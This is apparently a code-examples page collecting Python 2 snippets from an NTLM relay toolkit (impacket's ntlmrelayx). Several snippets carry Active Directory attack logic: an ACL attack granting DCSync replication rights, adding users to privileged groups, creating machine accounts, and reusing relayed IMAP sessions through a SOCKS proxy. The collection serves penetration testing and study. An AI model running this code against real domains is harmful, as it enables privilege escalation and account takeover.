Esempio n. 1
0
def enumerateMethods(iInterface):
    methods = dict()
    typeInfoCount = iInterface.GetTypeInfoCount()
    if typeInfoCount['pctinfo'] == 0:
        LOG.error(
            'Automation Server does not support type information for this object'
        )
        return {}
    iTypeInfo = iInterface.GetTypeInfo()
    iTypeAttr = iTypeInfo.GetTypeAttr()
    for x in range(iTypeAttr['ppTypeAttr']['cFuncs']):
        funcDesc = iTypeInfo.GetFuncDesc(x)
        names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255)
        print names['rgBstrNames'][0]['asData']
        funcDesc.dump()
        print '=' * 80
        if names['pcNames'] > 0:
            name = names['rgBstrNames'][0]['asData']
            methods[name] = {}
            for param in range(1, names['pcNames']):
                methods[name][names['rgBstrNames'][param]['asData']] = ''
        if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL:
            methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc'][
                'tdesc']['vt']

    return methods
Esempio n. 2
0
 def get_address(self):
     address = get_bytes(self.buffer, 5, self.get_address_length())
     if self.get_protocol() == AddressDetails.PROTOCOL_IP:
         return socket.inet_ntoa(address)
     else:
         LOG.error("Address not IP")
         return address
Esempio n. 3
0
 def initConnection(self):
     self.session = imaplib.IMAP4(self.targetHost, self.targetPort)
     self.authTag = self.session._new_tag()
     LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
     if 'AUTH=NTLM' not in self.session.capabilities:
         LOG.error('IMAP server does not support NTLM authentication!')
         return False
     return True
Esempio n. 4
0
 def handle_one_request(self):
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
     except KeyboardInterrupt:
         raise
     except Exception, e:
         LOG.error('Exception in HTTP request handler: %s' % e)
         LOG.debug(traceback.format_exc())
Esempio n. 5
0
 def run(self):
     if self.config.queries is None:
         LOG.error('No SQL queries specified for MSSQL relay!')
     else:
         for query in self.config.queries:
             LOG.info('Executing SQL: %s' % query)
             self.client.sql_query(query)
             self.client.printReplies()
             self.client.printRows()
Esempio n. 6
0
    def initConnection(self):
        self.session = smtplib.SMTP(self.targetHost, self.targetPort)
        # Turn on to debug SMTP messages
        # self.session.debuglevel = 3
        self.session.ehlo()

        if 'AUTH NTLM' not in self.session.ehlo_resp:
            LOG.error('SMTP server does not support NTLM authentication!')
            return False
        return True
Esempio n. 7
0
    def createFile(self,
                   treeId,
                   pathName,
                   desiredAccess=GENERIC_ALL,
                   shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE
                   | FILE_SHARE_DELETE,
                   creationOption=FILE_NON_DIRECTORY_FILE,
                   creationDisposition=FILE_OVERWRITE_IF,
                   fileAttributes=FILE_ATTRIBUTE_NORMAL,
                   impersonationLevel=SMB2_IL_IMPERSONATION,
                   securityFlags=0,
                   oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
                   createContexts=None):
        """
        creates a remote file

        :param HANDLE treeId: a valid handle for the share where the file is to be created
        :param string pathName: the path name of the file to create
        :return: a valid file descriptor, if not raises a SessionError exception.
        """

        if self.getDialect() == smb.SMB_DIALECT:
            _, flags2 = self._SMBConnection.get_flags()

            pathName = pathName.replace('/', '\\')
            pathName = pathName.encode(
                'utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName

            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
            ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2)
            ntCreate['Parameters']['FileNameLength'] = len(pathName)
            ntCreate['Parameters']['AccessMask'] = desiredAccess
            ntCreate['Parameters']['FileAttributes'] = fileAttributes
            ntCreate['Parameters']['ShareAccess'] = shareMode
            ntCreate['Parameters']['Disposition'] = creationDisposition
            ntCreate['Parameters']['CreateOptions'] = creationOption
            ntCreate['Parameters']['Impersonation'] = impersonationLevel
            ntCreate['Parameters']['SecurityFlags'] = securityFlags
            ntCreate['Parameters']['CreateFlags'] = 0x16
            ntCreate['Data']['FileName'] = pathName

            if flags2 & smb.SMB.FLAGS2_UNICODE:
                ntCreate['Data']['Pad'] = 0x0

            if createContexts is not None:
                LOG.error("CreateContexts not supported in SMB1")

            try:
                return self._SMBConnection.nt_create_andx(treeId,
                                                          pathName,
                                                          cmd=ntCreate)
            except (smb.SessionError, smb3.SessionError), e:
                raise SessionError(e.get_error_code(), e.get_error_packet())
Esempio n. 8
0
 def readTargets(self):
     try:
         with open(self.filename, 'r') as f:
             self.originalTargets = []
             for line in f:
                 target = line.strip()
                 if target != '':
                     self.originalTargets.extend(
                         self.processTarget(target, self.protocolClients))
     except IOError, e:
         LOG.error("Could not open file: %s - " % (self.filename, str(e)))
Esempio n. 9
0
 def getUserInfo(self, domainDumper, samname):
     entries = self.client.search(domainDumper.root,
                                  '(sAMAccountName=%s)' %
                                  escape_filter_chars(samname),
                                  attributes=['objectSid'])
     try:
         dn = self.client.entries[0].entry_dn
         sid = self.client.entries[0]['objectSid']
         return (dn, sid)
     except IndexError:
         LOG.error('User not found in LDAP: %s' % samname)
         return False
Esempio n. 10
0
 def getSMBPacket(self):
     data = self.__NBSession.recv_packet()
     try:
         packet = NewSMBPacket(data=data.get_trailer())
         smbCommand = SMBCommand(packet['Data'][0])
     except Exception, e:
         # Maybe a SMB2 packet?
         try:
             packet = SMB2Packet(data = data.get_trailer())
             smbCommand = None
         except Exception, e:
             LOG.error('SOCKS: %s' % str(e))
Esempio n. 11
0
        def do_attack(self):
            # Check if SOCKS is enabled and if we support the target scheme
            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
                # Pass all the data to the socksplugins proxy
                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
                                       self.authUser, self.client, self.client.sessionData))
                return

            # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
            if self.target.scheme.upper() in self.server.config.attacks:
                # We have an attack.. go for it
                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
                                                                               self.authUser)
                clientThread.start()
            else:
                LOG.error('No attack configured for %s' % self.target.scheme.upper())
Esempio n. 12
0
 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
     if unpack('B',
               str(authenticateMessageBlob)
               [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
         respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
         token = respToken2['ResponseToken']
     else:
         token = authenticateMessageBlob
     auth = base64.b64encode(token)
     self.session.send(auth + imaplib.CRLF)
     typ, data = self.session._get_tagged_response(self.authTag)
     if typ == 'OK':
         self.session.state = 'AUTH'
         return None, STATUS_SUCCESS
     else:
         LOG.error('IMAP: %s' % ' '.join(data))
         return None, STATUS_ACCESS_DENIED
Esempio n. 13
0
 def addUserToGroup(self, userDn, domainDumper, groupDn):
     global alreadyEscalated
     # For display only
     groupName = groupDn.split(',')[0][3:]
     userName = userDn.split(',')[0][3:]
     # Now add the user as a member to this group
     res = self.client.modify(groupDn,
                              {'member': [(ldap3.MODIFY_ADD, [userDn])]})
     if res:
         LOG.info('Adding user: %s to group %s result: OK' %
                  (userName, groupName))
         LOG.info('Privilege escalation succesful, shutting down...')
         alreadyEscalated = True
         thread.interrupt_main()
     else:
         LOG.error('Failed to add user to %s group: %s' %
                   (groupName, str(self.client.result)))
Esempio n. 14
0
 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
     if unpack('B',
               str(authenticateMessageBlob)
               [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
         respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
         token = respToken2['ResponseToken']
     else:
         token = authenticateMessageBlob
     auth = base64.b64encode(token)
     self.session.putcmd(auth)
     typ, data = self.session.getreply()
     if typ == 235:
         self.session.state = 'AUTH'
         return None, STATUS_SUCCESS
     else:
         LOG.error('SMTP: %s' % ''.join(data))
         return None, STATUS_ACCESS_DENIED
Esempio n. 15
0
        def do_ntlm_negotiate(self, token, proxy):
            if self.server.config.protocolClients.has_key(self.target.scheme.upper()):
                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
                # If connection failed, return
                if not self.client.initConnection():
                    return False
                self.challengeMessage = self.client.sendNegotiate(token)
                # Check for errors
                if self.challengeMessage is False:
                    return False
            else:
                LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
                return False

            #Calculate auth
            self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)
            return True
Esempio n. 16
0
 def __init__(self, hive, isRemote=False):
     self.__hive = hive
     if isRemote is True:
         self.fd = self.__hive
         self.__hive.open()
     else:
         self.fd = open(hive, 'rb')
     data = self.fd.read(4096)
     self.__regf = REG_REGF(data)
     self.indent = ''
     self.rootKey = self.__findRootKey()
     if self.rootKey is None:
         LOG.error("Can't find root key!")
     elif self.__regf['MajorVersion'] != 1 and self.__regf[
             'MinorVersion'] > 5:
         LOG.warning(
             "Unsupported version (%d.%d) - things might not work!" %
             (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
Esempio n. 17
0
 def sendNegotiate(self, negotiateMessage):
     negotiate = base64.b64encode(negotiateMessage)
     self.session.putcmd('AUTH NTLM')
     code, resp = self.session.getreply()
     if code != 334:
         LOG.error(
             'SMTP Client error, expected 334 NTLM supported, got %d %s ' %
             (code, resp))
         return False
     else:
         self.session.putcmd(negotiate)
     try:
         code, serverChallengeBase64 = self.session.getreply()
         serverChallenge = base64.b64decode(serverChallengeBase64)
         challenge = NTLMAuthChallenge()
         challenge.fromString(serverChallenge)
         return challenge
     except (IndexError, KeyError, AttributeError):
         LOG.error('No NTLM challenge returned from SMTP server')
         raise
Esempio n. 18
0
 def sendNegotiate(self, negotiateMessage):
     negotiate = base64.b64encode(negotiateMessage)
     self.session.send('%s AUTHENTICATE NTLM%s' %
                       (self.authTag, imaplib.CRLF))
     resp = self.session.readline().strip()
     if resp != '+':
         LOG.error('IMAP Client error, expected continuation (+), got %s ' %
                   resp)
         return False
     else:
         self.session.send(negotiate + imaplib.CRLF)
     try:
         serverChallengeBase64 = self.session.readline().strip()[
             2:]  #first two chars are the continuation and space char
         serverChallenge = base64.b64decode(serverChallengeBase64)
         challenge = NTLMAuthChallenge()
         challenge.fromString(serverChallenge)
         return challenge
     except (IndexError, KeyError, AttributeError):
         LOG.error('No NTLM challenge returned from IMAP server')
         raise
Esempio n. 19
0
    def initConnection(self):
        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
                                     #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
                             flags2=flags2, data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0] == '\xfe':
            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)

        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
                                     existingConnection=smbClient, manualNegotiate=True)

        return True
Esempio n. 20
0
    def __init__(self, data):
        # Depending on the type of data we'll end up building a different struct
        dataType = unpack('<H', data[4:][:2])[0]
        self.structure = self.fixed

        if dataType == CATALOG_TYPE_TABLE:
            self.structure += self.other + self.table_stuff
        elif dataType == CATALOG_TYPE_COLUMN:
            self.structure += self.column_stuff
        elif dataType == CATALOG_TYPE_INDEX:
            self.structure += self.other + self.index_stuff
        elif dataType == CATALOG_TYPE_LONG_VALUE:
            self.structure += self.other + self.lv_stuff
        elif dataType == CATALOG_TYPE_CALLBACK:
            raise Exception('CallBack types not supported!')
        else:
            LOG.error('Unknown catalog type 0x%x' % dataType)
            self.structure = ()
            Structure.__init__(self, data)

        self.structure += self.common

        Structure.__init__(self, data)
Esempio n. 21
0
 def __init__(self,request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.target = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
                 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
                 'return "PROXY %s:80; DIRECT";} '
     if self.server.config.mode != 'REDIRECT':
         if self.server.config.target is None:
             # Reflection mode, defaults to SMB at the target, for now
             self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
         self.target = self.server.config.target.getTarget(self.server.config.randomtargets)
         LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
     except Exception, e:
         LOG.error(str(e))
         LOG.debug(traceback.format_exc())
Esempio n. 22
0
    def sendNegotiate(self, negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info(
                'Status code returned: %d. Authentication does not seem required for URL'
                % res.status)
        try:
            if 'NTLM' not in res.getheader('WWW-Authenticate'):
                LOG.error(
                    'NTLM Auth not offered by URL, offered protocols: %s' %
                    res.getheader('WWW-Authenticate'))
                return False
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' %
                      self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage)
        headers = {'Authorization': 'NTLM %s' % negotiate}
        self.session.request('GET', self.path, headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
Esempio n. 23
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn,
                           '(objectCategory=user)',
                           attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(
            domainDumper.root,
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(
            dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
            controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.info(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain',
                username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')

            # Query the SD again to see what AD made of it
            self.client.search(
                domainDumper.root,
                '(&(objectCategory=domain))',
                attributes=['SAMAccountName', 'nTSecurityDescriptor'],
                controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
Esempio n. 24
0
    def skipAuthentication(self):
        self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)

        # Next should be the client requesting CAPABILITIES
        tag, cmd = self.recvPacketClient()
        if cmd.upper() == 'CAPABILITY':
            clientcapabilities = list(self.getServerCapabilities())
            # Don't offer these AUTH options so the client won't use them
            blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']
            for cap in blacklist:
                if cap in clientcapabilities:
                    clientcapabilities.remove(cap)

            # Offer PLAIN auth for specifying the username
            if 'AUTH=PLAIN' not in clientcapabilities:
                clientcapabilities.append('AUTH=PLAIN')
            # Offer LOGIN for specifying the username
            if 'LOGIN' not in clientcapabilities:
                clientcapabilities.append('LOGIN')

            LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))
            self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))
        else:
            LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)
            return False
        # next
        tag, cmd = self.recvPacketClient()
        args = cmd.split(' ')
        if cmd.upper() == 'AUTHENTICATE PLAIN':
            # Send continuation command
            self.socksSocket.sendall('+'+EOL)
            # Client will now send their AUTH
            data = self.socksSocket.recv(self.packetSize)
            # This contains base64(\x00username\x00password), decode and split
            creds = base64.b64decode(data.strip())
            self.username = creds.split('\x00')[1].upper()
        elif args[0].upper() == 'LOGIN':
            # Simple login
            self.username = args[1].upper()
        else:
            LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)
            return False

        # Check if we have a connection for the user
        if self.activeRelays.has_key(self.username):
            # Check the connection is not inUse
            if self.activeRelays[self.username]['inUse'] is True:
                LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (
                    self.username, self.targetHost, self.targetPort))
                return False
            else:
                LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (
                    self.username, self.targetHost, self.targetPort))
                self.session = self.activeRelays[self.username]['protocolClient'].session
        else:
            LOG.error('IMAP: No session for %s@%s(%s) available' % (
                self.username, self.targetHost, self.targetPort))
            return False

        # We arrived here, that means all is OK
        self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))
        self.relaySocket = self.session.sock
        self.relaySocketFile = self.session.file
        return True
Esempio n. 25
0
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None):
                self.do_AUTHHEAD(message = 'NTLM',proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = self.headers.getheader('Proxy-Authorization')
                else:
                    typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD(message = 'NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                              self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if not self.do_ntlm_auth(token,authenticateMessage):
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)

                    self.do_attack()

                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return
Esempio n. 26
0
#   RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt)
#   RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt)
#
#   NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
#   (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
#
#   [MS-LSAD] Section 5.1.2
#   [MS-SAMR] Section 2.2.11.1.1

from __future__ import division
from __future__ import print_function
from nebulousAD.modimpacket import LOG
try:
    from Cryptodome.Cipher import DES, AES, ARC4
except Exception:
    LOG.error(
        "Warning: You don't have any crypto installed. You need pycryptodomex")
    LOG.error("See https://pypi.org/project/pycryptodomex/")
from struct import pack, unpack
from nebulousAD.modimpacket.structure import Structure
import hmac, hashlib


def Generate_Subkey(K):

    #   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    #   +                    Algorithm Generate_Subkey                      +
    #   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    #   +                                                                   +
    #   +   Input    : K (128-bit key)                                      +
    #   +   Output   : K1 (128-bit first subkey)                            +
    #   +              K2 (128-bit second subkey)                           +
Esempio n. 27
0
    def addComputer(self, parent, domainDumper):
        """
        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyAddedComputer
        if alreadyAddedComputer:
            LOG.error('New computer already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(
            random.choice(string.ascii_letters + string.digits +
                          string.punctuation) for _ in range(15))

        # Get the domain we are in
        domaindn = domainDumper.root
        domain = re.sub(',DC=',
                        '.',
                        domaindn[domaindn.find('DC='):],
                        flags=re.I)[3:]

        # Random computername
        newComputer = (
            ''.join(random.choice(string.ascii_letters)
                    for _ in range(8)) + '$').upper()
        computerHostname = newComputer[:-1]
        newComputerDn = ('CN=%s,%s' %
                         (computerHostname, parent)).encode('utf-8')

        # Default computer SPNs
        spns = [
            'HOST/%s' % computerHostname,
            'HOST/%s.%s' % (computerHostname, domain),
            'RestrictedKrbHost/%s' % computerHostname,
            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
        ]
        ucd = {
            'dnsHostName': '%s.%s' % (computerHostname, domain),
            'userAccountControl': 4096,
            'servicePrincipalName': spns,
            'sAMAccountName': newComputer,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.debug('New computer info %s', ucd)
        LOG.info('Attempting to create computer in: %s', parent)
        res = self.client.add(
            newComputerDn.decode('utf-8'),
            ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
        if not res:
            # Adding computers requires LDAPS
            if self.client.result[
                    'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error(
                    'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.'
                )
            else:
                LOG.error('Failed to add a new computer: %s' %
                          str(self.client.result))
            return False
        else:
            LOG.info(
                'Adding new computer with username: %s and password: %s result: OK'
                % (newComputer, newPassword))
            alreadyAddedComputer = True
            # Return the SAM name
            return newComputer
Esempio n. 28
0
    def run(self):
        #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
        #print self.client.entries
        global dumpedDomain
        # Set up a default config
        domainDumpConfig = ldapdomaindump.domainDumpConfig()

        # Change the output directory to configured rootdir
        domainDumpConfig.basepath = self.config.lootdir

        # Create new dumper object
        domainDumper = ldapdomaindump.domainDumper(self.client.server,
                                                   self.client,
                                                   domainDumpConfig)

        # If specified validate the user's privileges. This might take a while on large domains but will
        # identify the proper containers for escalating via the different techniques.
        if self.config.validateprivs:
            LOG.info(
                'Enumerating relayed user\'s privileges. This may take a while on large domains'
            )
            userSid, privs = self.validatePrivileges(self.username,
                                                     domainDumper)
            if privs['create']:
                LOG.info('User privileges found: Create user')
            if privs['escalateViaGroup']:
                name = privs['escalateGroup'].split(',')[0][3:]
                LOG.info(
                    'User privileges found: Adding user to a privileged group (%s)'
                    % name)
            if privs['aclEscalate']:
                LOG.info('User privileges found: Modifying domain ACL')

        # If validation of privileges is not desired, we assumed that the user has permissions to escalate
        # an existing user via ACL attacks.
        else:
            LOG.info(
                'Assuming relayed user has privileges to escalate a user via ACL attack'
            )
            privs = {}
            privs['create'] = False
            privs['aclEscalate'] = True
            privs['escalateViaGroup'] = False

        # We prefer ACL escalation since it is more quiet
        if self.config.aclattack and privs['aclEscalate']:
            LOG.debug('Performing ACL attack')
            if self.config.escalateuser:
                # We can escalate an existing user
                result = self.getUserInfo(domainDumper,
                                          self.config.escalateuser)
                # Unless that account does not exist of course
                if not result:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                userDn, userSid = result
                # Perform the ACL attack
                self.aclAttack(userDn, domainDumper)
                return
            elif privs['create']:
                # Create a nice shiny new user for the escalation
                userDn = self.addUser(privs['createIn'], domainDumper)
                if not userDn:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                # Perform the ACL attack
                self.aclAttack(userDn, domainDumper)
                return
            else:
                LOG.error('Cannot perform ACL escalation because we do not have create user '\
                    'privileges. Specify a user to assign privileges to with --escalate-user')

        # If we can't ACL escalate, try adding us to a privileged group
        if self.config.addda and privs['escalateViaGroup']:
            LOG.debug('Performing Group attack')
            if self.config.escalateuser:
                # We can escalate an existing user
                result = self.getUserInfo(domainDumper,
                                          self.config.escalateuser)
                # Unless that account does not exist of course
                if not result:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                userDn, userSid = result
                # Perform the Group attack
                self.addUserToGroup(userDn, domainDumper,
                                    privs['escalateGroup'])
                return
            elif privs['create']:
                # Create a nice shiny new user for the escalation
                userDn = self.addUser(privs['createIn'], domainDumper)
                if not userDn:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                # Perform the Group attack
                self.addUserToGroup(userDn, domainDumper,
                                    privs['escalateGroup'])
                return
            else:
                LOG.error('Cannot perform ACL escalation because we do not have create user '\
                          'privileges. Specify a user to assign privileges to with --escalate-user')

        # Perform the Delegate attack if it is enabled and we relayed a computer account
        if self.config.delegateaccess and self.username[-1] == '$':
